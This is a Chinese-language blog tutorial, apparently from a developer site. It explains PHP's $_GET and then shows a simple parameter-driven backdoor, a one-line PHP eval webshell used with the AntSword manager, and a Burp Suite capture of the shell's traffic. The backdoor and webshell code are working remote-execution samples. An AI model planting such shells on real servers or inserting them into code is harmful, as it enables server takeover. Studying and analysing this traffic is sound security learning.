抓包分析php一句话木马

在回答一句话木马是怎么玩的之前,先从最简单的_GET来认识一下

关于一句话木马,其他角度的学习,推荐阅读
Web安全-一句话木马
从wireshark了解蚁剑的工作原理

_GET(PHP数组)

  1. _GET是一个数组
  2. _GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用
  3. 接收从浏览器客户端GET方式(URL中)传递到服务器的参数
  4. GET传参的参数名做_GET数组的key,参数值做为数组的value
  5. GET传参时,直接将参数拼接到URL中即可

举个例子来说明_GET是怎么玩的

<pre>  #标准化输出
<?php
$name="alice"; #初始化一个变量
echo "Your name is {$_GET['name']} "  #输出
?>

直接访问是会出错的,因为我并没有给name传参
在这里插入图片描述
通过给name传参来查看返回结果(上述第三条内容)
在这里插入图片描述

后门

能看明白上面的内容,就来看一个简单的后门

<pre>  
<?php
$_GET['a']($_GET['b']);
?>

直接访问是会出错的
在这里插入图片描述
通过给a,b传参来查看返回结果
在这里插入图片描述
此时就已经创建了一个简单的后门,我可以在里面执行命令了。
把URL里面的参数翻译一下就是用php执行命令:system(whoami)

一句话木马

再看一个很简单的一句话木马

<?php @eval($_POST['777']) ?>
  1. @表示忽略报错
  2. eval表示把字符串当作php代码执行
  3. _POST是通过POST方法接收参数,这里选择POST是因为我一会需要使用中国蚁剑getshell,而中国蚁剑是POST传参的
  4. 777是传参的地方,相当于前面“后门”中的b,这里的777又被称作webshell管理工具的“密码”

getshell

在这里插入图片描述
正常情况下浏览器这边没有返回结果是正常的,接下来连接蚁剑

抓包分析

BurpSuite

1:中国蚁剑走本地8080端口(BurpSuite的监听端口),选择“保存”的时候蚁剑会提示重启,照做就行
在这里插入图片描述
在这里插入图片描述
2:BurpSuite关闭截断
在这里插入图片描述
3:在蚁剑中点开“虚拟终端”,然后随便输入一些命令
在这里插入图片描述
在这里插入图片描述
3:检查数据包
第一条请求和应答数据包
在这里插入图片描述
在这里插入图片描述
第二条请求和应答数据包
在这里插入图片描述
在这里插入图片描述
流量是怎么走的,在数据包里面可以看到,这里由于作者不甚熟知php,所以还不能完整解释语句是怎样拼接的,但可以确定是通过拼接成php命令的方式去执行的。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值